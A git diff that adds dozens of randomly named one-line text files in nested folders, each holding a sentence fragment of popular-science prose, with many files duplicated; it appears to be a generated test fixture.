diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_xyteaudhxptjpjn.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_xyteaudhxptjpjn.txt
new file mode 100644
index 0000000..910e821
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_xyteaudhxptjpjn.txt
@@ -0,0 +1 @@
+many things that had not been seen before our own age. The novelty of these things,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_zkgrgmxxyueichzzrmcwddtc.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_zkgrgmxxyueichzzrmcwddtc.txt
new file mode 100644
index 0000000..910e821
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/file_zkgrgmxxyueichzzrmcwddtc.txt
@@ -0,0 +1 @@
+many things that had not been seen before our own age. The novelty of these things,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/hcxfopprimejek.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/hcxfopprimejek.txt
new file mode 100644
index 0000000..a31e28a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/hcxfopprimejek.txt
@@ -0,0 +1 @@
+sunlight. Plants gather the photons and convert solar to chemical energy. Animals parasitize
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/hvgmhfgrdsxxbfyqwdfvo.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/hvgmhfgrdsxxbfyqwdfvo.txt
new file mode 100644
index 0000000..fbd8829
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/hvgmhfgrdsxxbfyqwdfvo.txt
@@ -0,0 +1 @@
+learn the science and technology that provide the only conceivable tools for our survival.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/jixafwaqmfmrgiw.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/jixafwaqmfmrgiw.txt
new file mode 100644
index 0000000..c33ddc0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/jixafwaqmfmrgiw.txt
@@ -0,0 +1 @@
+valleys of Antarctica. Some previous investigators had examined Antarctic soil and decided
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/jluqncoyrplpkxpqcouezolz.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/jluqncoyrplpkxpqcouezolz.txt
new file mode 100644
index 0000000..aa7e655
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/jluqncoyrplpkxpqcouezolz.txt
@@ -0,0 +1 @@
+understand this cube to cast a shadow, which we usually draw as two squares with their
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/knkbsuwnowcfzjdsustfny.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/knkbsuwnowcfzjdsustfny.txt
new file mode 100644
index 0000000..bfb5e59
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/knkbsuwnowcfzjdsustfny.txt
@@ -0,0 +1 @@
+good fraction of the speed of light, we would be able to observe the color of the light
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/kriatwgawcqdafrfvbrwp.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/kriatwgawcqdafrfvbrwp.txt
new file mode 100644
index 0000000..26eb4a5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/kriatwgawcqdafrfvbrwp.txt
@@ -0,0 +1 @@
+know it, life in Brooklyn. So I decided I would be an astronomer, learn about the stars and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/owqfqmtjtxcnohgbiyj.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/owqfqmtjtxcnohgbiyj.txt
new file mode 100644
index 0000000..a3cba8e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/owqfqmtjtxcnohgbiyj.txt
@@ -0,0 +1 @@
+Like all our organs, the brain has evolved, increasing in complexity and information
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/oxvekhgugutdtfcgxkppkpfl.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/oxvekhgugutdtfcgxkppkpfl.txt
new file mode 100644
index 0000000..4229f11
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/oxvekhgugutdtfcgxkppkpfl.txt
@@ -0,0 +1 @@
+black dwarf.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/rfohzkcv.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/rfohzkcv.txt
new file mode 100644
index 0000000..5086a51
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/rfohzkcv.txt
@@ -0,0 +1 @@
+do it unconsciously by preserving the individuals most useful to him at the time,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/sfptpfxuqcldpdbap.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/sfptpfxuqcldpdbap.txt
new file mode 100644
index 0000000..93e53f0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/sfptpfxuqcldpdbap.txt
@@ -0,0 +1 @@
+especially the baleen whales, are placid browsers, straining through vast volumes of ocean
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/tqbsekmlkuxcecdu.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/tqbsekmlkuxcecdu.txt
new file mode 100644
index 0000000..a065cef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/tqbsekmlkuxcecdu.txt
@@ -0,0 +1 @@
+Catholics, Jews and Muslims to be silly; of a black stone that burned; of headless humans
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/xcixtljqftrsvymlnlklc.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/xcixtljqftrsvymlnlklc.txt
new file mode 100644
index 0000000..8e67363
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/xcixtljqftrsvymlnlklc.txt
@@ -0,0 +1 @@
+Earth makes galaxies up there in the macrocosm of the universe.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/xvhmlqucefdukxknsjrprs.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/xvhmlqucefdukxknsjrprs.txt
new file mode 100644
index 0000000..5c73dae
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/xvhmlqucefdukxknsjrprs.txt
@@ -0,0 +1 @@
+The wind whips through the canyons in the American Southwest, and there is no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/yiurknihjbdqhuqrhhscnmn.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/yiurknihjbdqhuqrhhscnmn.txt
new file mode 100644
index 0000000..8b836ce
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/folder_mxgeqbctwg/folder_xylewsyqpn/folder_eisamhjfdn/yiurknihjbdqhuqrhhscnmn.txt
@@ -0,0 +1 @@
+proportion seems to require, six or eight round Saturn, and perhaps one each round
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/file_dxhcrixebvxwnkpvjbwgjtx.txt b/big_zip/big-zip-files/folder_akztidphyx/file_dxhcrixebvxwnkpvjbwgjtx.txt
new file mode 100644
index 0000000..d38232d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/file_dxhcrixebvxwnkpvjbwgjtx.txt
@@ -0,0 +1 @@
+exotic lands and encounters with strange societies shook complacency, challenged thinkers
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/file_fyyrafdaqjpydszzplibftl.txt b/big_zip/big-zip-files/folder_akztidphyx/file_fyyrafdaqjpydszzplibftl.txt
new file mode 100644
index 0000000..d38232d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/file_fyyrafdaqjpydszzplibftl.txt
@@ -0,0 +1 @@
+exotic lands and encounters with strange societies shook complacency, challenged thinkers
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/file_gvrvmlrsdjmlhechmyv.txt b/big_zip/big-zip-files/folder_akztidphyx/file_gvrvmlrsdjmlhechmyv.txt
new file mode 100644
index 0000000..d38232d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/file_gvrvmlrsdjmlhechmyv.txt
@@ -0,0 +1 @@
+exotic lands and encounters with strange societies shook complacency, challenged thinkers
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/file_hujhgjmcxftrbpt.txt b/big_zip/big-zip-files/folder_akztidphyx/file_hujhgjmcxftrbpt.txt
new file mode 100644
index 0000000..d38232d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/file_hujhgjmcxftrbpt.txt
@@ -0,0 +1 @@
+exotic lands and encounters with strange societies shook complacency, challenged thinkers
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/file_jyqdgmlbeishrvu.txt b/big_zip/big-zip-files/folder_akztidphyx/file_jyqdgmlbeishrvu.txt
new file mode 100644
index 0000000..d38232d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/file_jyqdgmlbeishrvu.txt
@@ -0,0 +1 @@
+exotic lands and encounters with strange societies shook complacency, challenged thinkers
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/file_snyvmurwhllzntuqoz.txt b/big_zip/big-zip-files/folder_akztidphyx/file_snyvmurwhllzntuqoz.txt
new file mode 100644
index 0000000..d38232d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/file_snyvmurwhllzntuqoz.txt
@@ -0,0 +1 @@
+exotic lands and encounters with strange societies shook complacency, challenged thinkers
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/file_utnqrtnbciqmyb.txt b/big_zip/big-zip-files/folder_akztidphyx/file_utnqrtnbciqmyb.txt
new file mode 100644
index 0000000..d38232d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/file_utnqrtnbciqmyb.txt
@@ -0,0 +1 @@
+exotic lands and encounters with strange societies shook complacency, challenged thinkers
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/file_uufmfwsqbo.txt b/big_zip/big-zip-files/folder_akztidphyx/file_uufmfwsqbo.txt
new file mode 100644
index 0000000..d38232d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/file_uufmfwsqbo.txt
@@ -0,0 +1 @@
+exotic lands and encounters with strange societies shook complacency, challenged thinkers
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/file_vepmxlgvyhy.txt b/big_zip/big-zip-files/folder_akztidphyx/file_vepmxlgvyhy.txt
new file mode 100644
index 0000000..d38232d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/file_vepmxlgvyhy.txt
@@ -0,0 +1 @@
+exotic lands and encounters with strange societies shook complacency, challenged thinkers
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/file_vkfgctllfvbqmpxqwhy.txt b/big_zip/big-zip-files/folder_akztidphyx/file_vkfgctllfvbqmpxqwhy.txt
new file mode 100644
index 0000000..d38232d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/file_vkfgctllfvbqmpxqwhy.txt
@@ -0,0 +1 @@
+exotic lands and encounters with strange societies shook complacency, challenged thinkers
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/file_vrearyiohsmmxlvlk.txt b/big_zip/big-zip-files/folder_akztidphyx/file_vrearyiohsmmxlvlk.txt
new file mode 100644
index 0000000..d38232d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/file_vrearyiohsmmxlvlk.txt
@@ -0,0 +1 @@
+exotic lands and encounters with strange societies shook complacency, challenged thinkers
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/file_vvphbdxgpyoapxdwg.txt b/big_zip/big-zip-files/folder_akztidphyx/file_vvphbdxgpyoapxdwg.txt
new file mode 100644
index 0000000..d38232d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/file_vvphbdxgpyoapxdwg.txt
@@ -0,0 +1 @@
+exotic lands and encounters with strange societies shook complacency, challenged thinkers
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/file_xkayirkkausjttwik.txt b/big_zip/big-zip-files/folder_akztidphyx/file_xkayirkkausjttwik.txt
new file mode 100644
index 0000000..d38232d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/file_xkayirkkausjttwik.txt
@@ -0,0 +1 @@
+exotic lands and encounters with strange societies shook complacency, challenged thinkers
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_fxuorhqktyfiv.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_fxuorhqktyfiv.txt
new file mode 100644
index 0000000..e017c4d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_fxuorhqktyfiv.txt
@@ -0,0 +1 @@
+When a small, icy object collides with a planet or a moon, it may not produce a very
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_guxkhxsyxhzmyhh.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_guxkhxsyxhzmyhh.txt
new file mode 100644
index 0000000..e017c4d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_guxkhxsyxhzmyhh.txt
@@ -0,0 +1 @@
+When a small, icy object collides with a planet or a moon, it may not produce a very
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_mesqmamktnrfuv.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_mesqmamktnrfuv.txt
new file mode 100644
index 0000000..e017c4d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_mesqmamktnrfuv.txt
@@ -0,0 +1 @@
+When a small, icy object collides with a planet or a moon, it may not produce a very
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_mktufbbrcuicmojuovuw.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_mktufbbrcuicmojuovuw.txt
new file mode 100644
index 0000000..e017c4d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_mktufbbrcuicmojuovuw.txt
@@ -0,0 +1 @@
+When a small, icy object collides with a planet or a moon, it may not produce a very
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_nfxhmsidgbqkpm.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_nfxhmsidgbqkpm.txt
new file mode 100644
index 0000000..e017c4d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_nfxhmsidgbqkpm.txt
@@ -0,0 +1 @@
+When a small, icy object collides with a planet or a moon, it may not produce a very
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_oczbdrpckxkrdtemuhw.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_oczbdrpckxkrdtemuhw.txt
new file mode 100644
index 0000000..e017c4d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_oczbdrpckxkrdtemuhw.txt
@@ -0,0 +1 @@
+When a small, icy object collides with a planet or a moon, it may not produce a very
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_qjwtgawgisfndxacrdd.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_qjwtgawgisfndxacrdd.txt
new file mode 100644
index 0000000..e017c4d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_qjwtgawgisfndxacrdd.txt
@@ -0,0 +1 @@
+When a small, icy object collides with a planet or a moon, it may not produce a very
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_rgnitooarpyzpncpijdsd.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_rgnitooarpyzpncpijdsd.txt
new file mode 100644
index 0000000..e017c4d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_rgnitooarpyzpncpijdsd.txt
@@ -0,0 +1 @@
+When a small, icy object collides with a planet or a moon, it may not produce a very
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_rjtgvhexj.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_rjtgvhexj.txt
new file mode 100644
index 0000000..e017c4d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_rjtgvhexj.txt
@@ -0,0 +1 @@
+When a small, icy object collides with a planet or a moon, it may not produce a very
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_uneurqrtizhcewubrkgcudml.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_uneurqrtizhcewubrkgcudml.txt
new file mode 100644
index 0000000..e017c4d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_uneurqrtizhcewubrkgcudml.txt
@@ -0,0 +1 @@
+When a small, icy object collides with a planet or a moon, it may not produce a very
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_wbuexjvvwaqhhf.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_wbuexjvvwaqhhf.txt
new file mode 100644
index 0000000..e017c4d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_wbuexjvvwaqhhf.txt
@@ -0,0 +1 @@
+When a small, icy object collides with a planet or a moon, it may not produce a very
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_wtrdfftuiums.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_wtrdfftuiums.txt
new file mode 100644
index 0000000..e017c4d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_wtrdfftuiums.txt
@@ -0,0 +1 @@
+When a small, icy object collides with a planet or a moon, it may not produce a very
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_wzzmjxapamoosatv.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_wzzmjxapamoosatv.txt
new file mode 100644
index 0000000..e017c4d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_wzzmjxapamoosatv.txt
@@ -0,0 +1 @@
+When a small, icy object collides with a planet or a moon, it may not produce a very
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_xlwkyhnccqnzrc.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_xlwkyhnccqnzrc.txt
new file mode 100644
index 0000000..e017c4d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_xlwkyhnccqnzrc.txt
@@ -0,0 +1 @@
+When a small, icy object collides with a planet or a moon, it may not produce a very
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_xnsvmshkpfpodhjvimmtc.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_xnsvmshkpfpodhjvimmtc.txt
new file mode 100644
index 0000000..e017c4d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_xnsvmshkpfpodhjvimmtc.txt
@@ -0,0 +1 @@
+When a small, icy object collides with a planet or a moon, it may not produce a very
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_yqhojkadtzgyqpck.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_yqhojkadtzgyqpck.txt
new file mode 100644
index 0000000..e017c4d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_yqhojkadtzgyqpck.txt
@@ -0,0 +1 @@
+When a small, icy object collides with a planet or a moon, it may not produce a very
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_znavnbithj.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_znavnbithj.txt
new file mode 100644
index 0000000..e017c4d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/file_znavnbithj.txt
@@ -0,0 +1 @@
+When a small, icy object collides with a planet or a moon, it may not produce a very
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_bvumtnoyjbaewipbhsn.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_bvumtnoyjbaewipbhsn.txt
new file mode 100644
index 0000000..f1bb4b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_bvumtnoyjbaewipbhsn.txt
@@ -0,0 +1 @@
+populated by anchorites and misanthropes. Electrons repel electrons. Protons repel protons.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_cktuitgigyjnaztkep.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_cktuitgigyjnaztkep.txt
new file mode 100644
index 0000000..f1bb4b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_cktuitgigyjnaztkep.txt
@@ -0,0 +1 @@
+populated by anchorites and misanthropes. Electrons repel electrons. Protons repel protons.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_csncubzzydny.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_csncubzzydny.txt
new file mode 100644
index 0000000..f1bb4b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_csncubzzydny.txt
@@ -0,0 +1 @@
+populated by anchorites and misanthropes. Electrons repel electrons. Protons repel protons.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_eqxcjnfxugjh.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_eqxcjnfxugjh.txt
new file mode 100644
index 0000000..f1bb4b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_eqxcjnfxugjh.txt
@@ -0,0 +1 @@
+populated by anchorites and misanthropes. Electrons repel electrons. Protons repel protons.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_fbmlqqwz.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_fbmlqqwz.txt
new file mode 100644
index 0000000..f1bb4b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_fbmlqqwz.txt
@@ -0,0 +1 @@
+populated by anchorites and misanthropes. Electrons repel electrons. Protons repel protons.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_mbyoybpdntdglwxwwjcncoku.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_mbyoybpdntdglwxwwjcncoku.txt
new file mode 100644
index 0000000..f1bb4b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_mbyoybpdntdglwxwwjcncoku.txt
@@ -0,0 +1 @@
+populated by anchorites and misanthropes. Electrons repel electrons. Protons repel protons.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_njgrrotzxkntgknby.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_njgrrotzxkntgknby.txt
new file mode 100644
index 0000000..f1bb4b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_njgrrotzxkntgknby.txt
@@ -0,0 +1 @@
+populated by anchorites and misanthropes. Electrons repel electrons. Protons repel protons.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_nshbpkjidioauuvxrydz.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_nshbpkjidioauuvxrydz.txt
new file mode 100644
index 0000000..f1bb4b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_nshbpkjidioauuvxrydz.txt
@@ -0,0 +1 @@
+populated by anchorites and misanthropes. Electrons repel electrons. Protons repel protons.
\ No newline at end of file
